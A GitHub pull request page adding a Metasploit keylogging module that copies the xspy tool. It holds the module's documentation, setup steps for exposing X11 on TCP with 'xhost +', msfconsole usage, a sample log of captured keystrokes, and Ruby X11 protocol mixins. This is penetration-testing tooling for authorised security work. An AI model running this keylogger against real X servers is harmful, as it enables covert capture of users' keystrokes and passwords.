Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

New module to replicate xspy tool (and x11 library) #18877

Open
wants to merge 34 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
34 commits
Select commit Hold shift + click to select a range
faa80dc
Create lib for X11.rb
h00die Feb 13, 2024
b22cafb
Update X11.rb
h00die Feb 13, 2024
6156fb5
Create spec for X11.rb
h00die Feb 13, 2024
c39d046
Update and rename X11.rb to x11.rb
h00die Feb 15, 2024
424c55f
Update x11.rb
h00die Feb 15, 2024
7330c69
Update and rename X11.rb to x11.rb
h00die Feb 15, 2024
f5a6d7d
Update x11.rb
h00die Feb 15, 2024
f4b698b
more progress, broke up lib x11 into different files/folders
h00die Feb 20, 2024
7292877
more progress, broke up lib x11 into different files/folders
h00die Feb 22, 2024
794e304
working but ugly code
h00die Feb 22, 2024
e7ca948
working xspy code
h00die Feb 22, 2024
d85f257
Thanks adfoster for spec fixes
h00die Feb 22, 2024
5e42df8
more x11 progress
h00die Feb 23, 2024
453f8bb
more x11 progress, now working on screenshots, WIP
h00die Feb 26, 2024
75d007b
WIP x11 screenshots and lib
h00die Feb 27, 2024
bd956e7
WIP x11 screenshots and lib
h00die Mar 1, 2024
69b89c5
WIP x11 screenshots and lib
h00die Mar 1, 2024
a524682
x11 screenshot module progress
h00die Mar 4, 2024
4f69034
remove screenshot functionality for time being
h00die Mar 22, 2024
bc9fdb3
docs
h00die Apr 14, 2024
7a27c0f
some review on x11
h00die Apr 22, 2024
417e7c1
x11 progress
h00die Apr 24, 2024
83d1dcb
move x11 to be more modular, forgot to grab spec files :(
h00die Apr 25, 2024
a7b428a
doc update
h00die Apr 25, 2024
45312a5
further x11 revisions
h00die Apr 26, 2024
80b4cb7
remove moved files
h00die May 1, 2024
05fb1d3
x11 library update
h00die Jul 11, 2024
ea0d400
update x11 docs
h00die Jul 11, 2024
04f4990
Further x11 updates
h00die Jul 11, 2024
a93a6dd
Merge branch 'rapid7:master' into xspy
h00die Jul 12, 2024
07cc3bb
Further updates to x11
h00die Jul 12, 2024
4ff3897
xspy updates
h00die Nov 21, 2024
cd4899d
Refactor some X11 code around
smcintyre-r7 Nov 27, 2024
e0a39b5
Merge pull request #26 from smcintyre-r7/pr/collab/18877
h00die Nov 27, 2024
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
171 changes: 171 additions & 0 deletions documentation/modules/auxiliary/gather/x11_keyboard_spy.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,171 @@
## Vulnerable Application

This module binds to an open X11 host to log keystrokes. The X11 service can accept
connections from any users when misconfigured with the command `xhost +`.
This module is a close copy of the old xspy c program which has been on Kali for a long time.
The module works by connecting to the X11 session, creating a background
window, binding a keyboard to it and creating a notification alert when a key
is pressed.

One of the major limitations of xspy, and thus this module, is that it polls
at a very fast rate, faster than a key being pressed is released (especially before
the repeat delay is hit). To combat printing multiple characters for a single key
press, repeat characters arent printed when typed in a very fast manor. This is also
an imperfect keylogger in that keystrokes arent stored and forwarded but status
displayed at poll time. Keys may be repeated or missing.

### Ubuntu 10.04

1. `sudo nano /etc/gdm/gdm.schemas`
2. Find:

```
<schema>
<key>security/DisallowTCP</key>
<signature>b</signature>
<default>true</default>
</schema>
```
- Change `true` to `false`

3. logout or reboot
4. Verification: ```sudo netstat -antp | grep 6000```

```
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1806/X
```

5. Now, to verify you allow ANYONE to get on X11, type: `xhost +`

### Ubuntu 12.04, 14.04

1. `sudo nano /etc/lightdm/lightdm.conf`
2. Under the `[SeatDefaults]` area, add:

```
xserver-allow-tcp=true
allow-guest=true
```

3. logout or reboot
4. Verification: ```sudo netstat -antp | grep 6000```

```
tcp 0 0 0.0.0.0:6000 0.0.0.0:* LISTEN 1806/X
```

5. Now, to verify you allow ANYONE to get on X11, type: `xhost +`

### Ubuntu 16.04

Use the Ubuntu 12.04 instructions, however change `SeatDefaults` to `Seat:*`

### Fedora 15

1. `vi /etc/gdm/custom.conf`
2. Under the `[security]` area, add:

```
DisallowTCP=false
```

3. logout/reboot
4. Now, to verify you allow ANYONE to get on X11, type: `xhost +`

### Solaris 10

1. `svccfg -s svc:/application/x11/x11-server setprop options/tcp_listen = true`
2. `svc disable cde-login`
3. `svc enable cde-login`
4. `xhost +`

### Ubuntu 22.04

#### Server

Getting X11 to listen on a TCP port is rather taxing, so we use socat to facilitate instead.

1. `sudo apt-get install ubuntu-desktop socat` # overkill but it gets everything we need
2. `sudo reboot` # prob a good idea since so much was installed
3. `sudo xhost +` # must be done through gui, not through SSH
4. `socat -d -d TCP-LISTEN:6000,fork,bind=<IP to listen to here> UNIX-CONNECT:/tmp/.X11-unix/X0`, you may need to use `X1` instead of `X0` depending on context.

## Verification Steps

1. Configure X11 to listen on port 6000, or use `socat` to open a socket.
1. Start msfconsole
1. Do: `use auxiliary/gather/x11_keyboard_spy`
1. Do: `set rhosts [IP]`
1. Do: `run`
1. You should print keystrokes as they're pressed

## Options

### LISTENER_TIMEOUT

How many seconds to keylog for.
If set to `0`, wait forever. Defaults to `600`, 10 minutes.

### PRINTERVAL

The interval to print keylogs in seconds. Defaults to `60`.

## Scenarios

### Ubuntu 22.04

```
[*] Processing xspy.rb for ERB directives.
resource (xspy.rb)> use auxiliary/gather/x11_keyboard_spy
resource (xspy.rb)> set verbose true
verbose => true
resource (xspy.rb)> set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf6 auxiliary(gather/x11_keyboard_spy) > run
[*] Running module against 127.0.0.1

[*] 127.0.0.1:6000 - Establishing TCP Connection
[*] 127.0.0.1:6000 - [1/9] Establishing X11 connection
[-] 127.0.0.1:6000 - Connection packet malformed (size: 8192), attempting to get read more data
[+] 127.0.0.1:6000 - Successfully established X11 connection
[*] 127.0.0.1:6000 - Version: 11.0
[*] 127.0.0.1:6000 - Screen Resolution: 958x832
[*] 127.0.0.1:6000 - Resource ID: 33554432
[*] 127.0.0.1:6000 - Screen root: 1320
[*] 127.0.0.1:6000 - [2/9] Checking on BIG-REQUESTS extension
[+] 127.0.0.1:6000 - Extension BIG-REQUESTS is present with id 134
[*] 127.0.0.1:6000 - [3/9] Enabling BIG-REQUESTS
[*] 127.0.0.1:6000 - [4/9] Creating new graphical context
[*] 127.0.0.1:6000 - [5/9] Checking on XKEYBOARD extension
[+] 127.0.0.1:6000 - Extension XKEYBOARD is present with id 136
[*] 127.0.0.1:6000 - [6/9] Enabling XKEYBOARD
[*] 127.0.0.1:6000 - [7/9] Requesting XKEYBOARD map
[*] 127.0.0.1:6000 - [8/9] Enabling notification on keyboard and map
[*] 127.0.0.1:6000 - [9/9] Creating local keyboard map
[+] 127.0.0.1:6000 - All setup, watching for keystrokes
[+] 127.0.0.1:6000 - X11 Key presses observed: te[space]quuick[space]rown[space]foxmps[space]oveerr[space]the[space]lazy[space]do
[-] 127.0.0.1:6000 - No key presses observed
[-] 127.0.0.1:6000 - No key presses observed
[-] 127.0.0.1:6000 - No key presses observed
[-] 127.0.0.1:6000 - No key presses observed
[-] 127.0.0.1:6000 - No key presses observed
[-] 127.0.0.1:6000 - No key presses observed
[-] 127.0.0.1:6000 - No key presses observed
[-] 127.0.0.1:6000 - No key presses observed
[*] 127.0.0.1:6000 - Closing X11 connection
[+] 127.0.0.1:6000 - Logged keys stored to: /root/.msf4/loot/20240226150211_default_127.0.0.1_x11.keylogger_839830.txt
[-] 127.0.0.1:6000 - Stopping running against current target...
[*] 127.0.0.1:6000 - Control-C again to force quit all targets.
[*] Auxiliary module execution completed
```

## Confirming

To keylog the remote host, we use a tool called [xspy](http://tools.kali.org/sniffingspoofing/xspy)

The output will be very similar to the metasploit module, but may differ. Compare the below two entries (spaces added to xspy for alignment):

```
xspy: the quck rown foxumps over the lazy do
msf: te[space]quuick[space]rown[space]foxmps[space]oveerr[space]the[space]lazy[space]do
```
7 changes: 7 additions & 0 deletions lib/msf/core/exploit/remote/x11.rb
h00die marked this conversation as resolved.
Show resolved Hide resolved
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
# -*- coding: binary -*-

module Msf::Exploit::Remote::X11
include Msf::Exploit::Remote::X11::Connect
include Msf::Exploit::Remote::X11::Extension
include Msf::Exploit::Remote::X11::Read
end
55 changes: 55 additions & 0 deletions lib/msf/core/exploit/remote/x11/connect.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
# -*- coding: binary -*-

#
# This mixin is a simplistic implementation of X11 initial connection protocol
#
# Wireshark dissector: https://wiki.wireshark.org/X11
#

module Msf::Exploit::Remote::X11::Connect
include Rex::Proto::X11::Connect

# function used to send the request and receive the response
# for establishing an X11 session.
def x11_connect
sock.put(X11ConnectionRequest.new.to_binary_s) # x11 session establish
packet = ''
connection = nil
begin
header_data = sock.timed_read(X11ConnectHeader.new.num_bytes)
return nil if header_data.nil?

header = X11ConnectHeader.read(header_data)
if header.success == 0
body_data = sock.timed_read(header.pad0)
else
body_data = sock.timed_read(header.response_length * 4)
end
return nil if body_data.nil?

return X11Connection.read(header_data + body_data)
rescue StandardError => e
vprint_bad("Error (#{e}) processing data: #{packet.bytes.map { |b| %(\\x) + b.to_s(16).rjust(2, '0') }.join}")
end
connection
end

# print out the information for an x11 connection which was
# successfully established
def x11_print_connection_info(connection, ip, port)
print_good("#{ip} - Successfully established X11 connection")
vprint_status(" Vendor: #{connection.body.vendor}")
vprint_status(" Version: #{connection.header.protocol_version_major}.#{connection.header.protocol_version_minor}")
vprint_status(" Screen Resolution: #{connection.body.screen_width_in_pixels}x#{connection.body.screen_height_in_pixels}")
vprint_status(" Resource ID: #{connection.body.resource_id_base.inspect}")
vprint_status(" Screen root: #{connection.body.screen_root.inspect}")
report_note(
host: ip,
proto: 'tcp',
sname: 'x11',
port: port,
type: 'x11.server_vendor',
data: "Open X Server (#{connection.body.vendor})"
)
end
end
30 changes: 30 additions & 0 deletions lib/msf/core/exploit/remote/x11/extension.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
# -*- coding: binary -*-

#
# This mixin is a simplistic implementation of X11 initial connection protocol
#
# Wireshark dissector: https://wiki.wireshark.org/X11
#

module Msf::Exploit::Remote::X11::Extension
include Msf::Exploit::Remote::X11::Read
include Rex::Proto::X11::Extension

# Query for an extension, converts the name of the extension to the ID #
def x11_query_extension(extension_name, call_count)
sock.put(X11QueryExtensionRequest.new(extension: extension_name, unused2: call_count).to_binary_s)
x11_read_response(X11QueryExtensionResponse)
end

# toggles an extension on or off (enable/disable)
def x11_toggle_extension(extension_id, wanted_major: 0, toggle: true)
sock.put(
X11ExtensionToggleRequest.new(
opcode: extension_id,
toggle: (toggle ? 0 : 1), # 0 is enable, 1 is disable
wanted_major: wanted_major
).to_binary_s
)
x11_read_response(X11ExtensionToggleResponse)
end
end
46 changes: 46 additions & 0 deletions lib/msf/core/exploit/remote/x11/read.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
# -*- coding: binary -*-

module Msf::Exploit::Remote::X11::Read
def x11_read_response(klass, timeout: 10)
unless klass.fields.field_name?(:response_length)
raise ::ArgumentError, 'X11 class must have the response_length field to be read'
end

remaining = timeout
reply_instance = klass.new

metalength = reply_instance.response_length.num_bytes
buffer, elapsed_time = Rex::Stopwatch.elapsed_time do
sock.read(reply_instance.response_length.abs_offset + metalength, remaining)
end
raise ::EOFError, 'X11: failed to read response' if buffer.nil?

remaining -= elapsed_time

# see: https://www.x.org/releases/X11R7.7/doc/xproto/x11protocol.html#request_format
response_length = reply_instance.response_length.read(buffer[-metalength..]).value
response_length *= 4 # field is in 4-byte units
response_length += 32 # 32 byte header is not included

while buffer.length < response_length && remaining > 0
chunk, elapsed_time = Rex::Stopwatch.elapsed_time do
sock.read(response_length - buffer.length, remaining)
end

remaining -= elapsed_time
break if chunk.nil?

buffer << chunk
end

unless buffer.length == response_length
if remaining <= 0
raise Rex::TimeoutError, 'X11: failed to read response due to timeout'
end

raise ::EOFError, 'X11: failed to read response'
end

reply_instance.read(buffer)
end
end
Loading